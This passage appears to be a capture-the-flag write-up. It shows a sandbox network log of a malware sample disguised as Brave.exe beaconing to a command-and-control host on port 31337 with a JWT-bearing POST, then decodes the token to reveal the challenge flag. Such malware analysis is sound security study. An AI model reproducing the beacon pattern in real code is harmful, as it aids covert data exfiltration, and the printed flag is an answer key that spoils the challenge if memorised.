03/26/25 03:00:33 PM [          Diverter] svchost.exe (1812) requested UDP 224.0.0.251:5353
03/26/25 03:00:33 PM [        DNS Server] Received ANY request for domain 'DESKTOP-K78JREG.local'.
03/26/25 03:00:33 PM [        DNS Server] Received ANY request for domain 'DESKTOP-K78JREG.local'.
03/26/25 03:00:33 PM [        DNS Server] Received ANY request for domain 'DESKTOP-K78JREG.local'.
03/26/25 03:00:33 PM [        DNS Server] Received ANY request for domain 'DESKTOP-K78JREG.local'.
03/26/25 03:00:33 PM [        DNS Server] Received ANY request for domain 'DESKTOP-K78JREG.local'.
03/26/25 03:00:35 PM [          Diverter] svchost.exe (1812) requested UDP 192.168.122.112:53
03/26/25 03:00:35 PM [        DNS Server] Received A request for domain 'zolsc2s65u.htb'.
03/26/25 03:00:35 PM [          Diverter] Brave.exe (5816) requested TCP 192.0.2.123:31337
03/26/25 03:00:35 PM [    HTTPListener80]   GET / HTTP/1.1
03/26/25 03:00:35 PM [    HTTPListener80]   User-Agent: Mozilla/5.0 (compatible;MSIE 7.0;Windows;Windows NT 6.3;Win64;x64 Trident/4.0)
03/26/25 03:00:35 PM [    HTTPListener80]   Host: zOlsc2S65u.htb:31337
03/26/25 03:00:35 PM [    HTTPListener80]
03/26/25 03:00:35 PM [    HTTPListener80]
03/26/25 03:00:35 PM [    HTTPListener80]   POST / HTTP/1.1
03/26/25 03:00:35 PM [    HTTPListener80]   Accept: */*
03/26/25 03:00:35 PM [    HTTPListener80]   Content-Type: application/json
03/26/25 03:00:35 PM [    HTTPListener80]   Authorization: Bearer Token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcm9tIjoiY29zdGkiLCJjYW1wYWlnbl9pZCI6Ik9wZXJhdGlvbiBFbGRvcmlhIDogRXhwb3NpbmcgdGhlIGJyYXZlcyIsImF1dGgiOiJVMFpTUTJVd1JsRldSamxxVFVjMWVtTkVSbmxPUjAxNFRUTk9abGxxVG05TlZ6VnJXREpKZW1KcVJtNWliRGx6VFVSQ2NrMVhOVzVZTTAxNFpFUk9lbVpSUFQwPSJ9.HelK5pTs6fenv8TKmAPrV3tzhSZm4GEAnEV9vBBtAzg
03/26/25 03:00:35 PM [    HTTPListener80]   Content-Length: 53
03/26/25 03:00:35 PM [    HTTPListener80]   User-Agent: Mozilla/5.0 (compatible;MSIE 7.0;Windows;Windows NT 6.3;Win64;x64 Trident/4.0)
03/26/25 03:00:35 PM [    HTTPListener80]   Host: zOlsc2S65u.htb:31337
03/26/25 03:00:35 PM [    HTTPListener80]   Connection: Close
03/26/25 03:00:35 PM [    HTTPListener80]   Cache-Control: no-cache
03/26/25 03:00:35 PM [    HTTPListener80]
03/26/25 03:00:35 PM [    HTTPListener80]
03/26/25 03:00:35 PM [    HTTPListener80] b'  {"n":1,"fid":"0","d":"\\u002BwYNdO8P/XS/iI4WJatJiA=="}'

Decoding the JWT token, we get the following.

{
    "from": "costi",
    "campaign_id": "Operation Eldoria : Exposing the braves",
    "auth": "U0ZSQ2UwRlFWRjlqTUc1emNERnlOR014TTNOZllqTm9NVzVrWDJJemJqRm5ibDlzTURCck1XNW5YM014ZEROemZRPT0="
}

Base64 decoding the auth field, we get another Base64 encoded string, SFRCe0FQVF9jMG5zcDFyNGMxM3NfYjNoMW5kX2IzbjFnbl9sMDBrMW5nX3MxdDNzfQ==, decoding this gives us the flag.

HTB{APT_c0nsp1r4c13s_b3h1nd_b3n1gn_l00k1ng_s1t3s}